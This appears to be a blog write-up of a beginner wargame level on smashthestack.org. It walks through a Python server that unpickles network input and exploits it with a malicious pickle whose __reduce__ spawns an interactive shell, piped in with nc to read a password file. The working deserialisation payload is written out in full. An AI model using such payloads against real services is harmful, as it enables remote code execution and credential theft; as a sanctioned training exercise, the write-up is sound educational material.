Blog Post by Aladdin Mubaied
One of the things I enjoy doing on the weekends is solving some wargame challenges. One of the sites that host interesting challenges for beginners is smashthestack.org. The site contains many wargames that simulate real-world software vulnerabilities.
Level 0: Amateria
This is the first and simplest challenge on smashthestack.org. the challenge is to simply crack find the SSH password so you can access amateria.smashthestack.org. Level 0 shares a python code of the source file running on the remote server. it explicitly says that the challenge is remote.
Let’s take a look at the python code and study it a bit.
#!/usr/bin/python import socket import cPickle import os import sys import signal PORT = 54321 def handle(cs, addr): print "Conn from", addr cs.sendall("HAI\n") try: l = cPickle.loads(cs.recv(1024)) s = sum(l) cs.sendall("%d\n" % s) except: cs.sendall("fail :(\n") cs.sendall("bye\n") cs.close() signal.signal(signal.SIGCHLD, signal.SIG_IGN) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", PORT)) s.listen(100) while 1: (cs, addr) = s.accept() pid = os.fork() if pid == 0: s.close() handle(cs, addr) sys.exit(0) cs.close()
In a nutshell, the code runs on the server which spawns a process on localhost and waits for the payload to be received through the cPickle module and print out the results.
Let’s do a couple of tests and confirm that the code is actually running on the server.
$ telnet amateria.smashthestack.org 54321 Trying 184.108.40.206... Connected to amateria.smashthestack.org. Escape character is '^]'. HAI
As you can see, it printed the word HAI, so this confirms that the server running the python code.
The python code seems fine and nothing out of the ordinary, but where is the bug? one of the methods to identify issues in the source code is to dissect functions processing user inputs. if you look at the code above, if we send data to the server, it will be received inside cPickle.
Let’s now read the documentation about cPickle. The pickle module is used for serializing and de-serializing a Python object structure. if you continue reading, you will see the following warning:
Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
Interesting, so we now know that using pickle module is not safe.
Writing the shellcode
since we now identified the vulnerable function, let’s research how to exploit it. if you read through the documentation carefully, Pickle allows different objects to declare how they should be pickled using the reduce method. Whenever an object is pickled, the reduce method defined by it gets called. This method returns either a string, which may represent the name of a python global or a tuple describing how to reconstruct this object when un-pickling. Nice, so now what all we need to do is send pickle stream with our shell code object.
Let’s write the cPickle code:
import cPickle import subprocess class Malicious(object) def __reduce__(self): return(subprocess.call, (('/bin/sh','-i'),0,None,4,4,4)) print(cPickle.dumps(Malicious()))
The code simply initiates a class called Malicious and call the method reduce with our shellcode to spawn a shell.
Now let’s run the code and pass the output object to the server:
$ python -m exploit > file $ cat file | nc amateria.smashthestack.org 54321 HAI /bin/sh: can't access tty; job control turned off $ fail :( bye
Umm, the code actually spawned a shell but got disconnected, I started researching how to do it differently until I found that I have to specify the dash (-). This simply required to prevent EOF character terminating our remote shell. Running again with the dash (-):
$ cat file - | nc amateria.smashthestack.org 54321 HAI /bin/sh: can't access tty; job control turned off $ cat /home/level1/password b***** $
Nice, now we got a shell and we read the password from the file.
Let’s now SSH into the server and see if the password works.
ssh -p2229 email@example.com .-----------------------------------------------------------------. / .-. .-. \ | / \ Welcome to amateria! / \ | | |\_. | The first level is a remote one. | /| | |\| | /| Read |\ | |/| | `---' | http://amateria.smashthestack.org:89/ | `---' | | | for more information. | | | |-----------------------------------------------------| | \ | | / \ / \ / `---' `---' firstname.lastname@example.org's password: __ __ _____ ____ _ __ _| \/ | __ |_ _|__| _ \(_) __ _ / _` | |\/| |/ _` || |/ _ \ |_) | |/ _` | | (_| | | | | (_| || | __/ _ <| | (_| | \__,_|_| |_|\__,_||_|\___|_| \_\_|\__,_| - Levels in /wargame - Passwords in /home/<user/password - Workspace in /tmp/<somethingrandom> For help with the game, join us on IRC at #amateria @ irc.smashthestack.org Server admins: p1ra , kaliman, morla ---( Have fun! )--- -bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8) level1@amateria:~$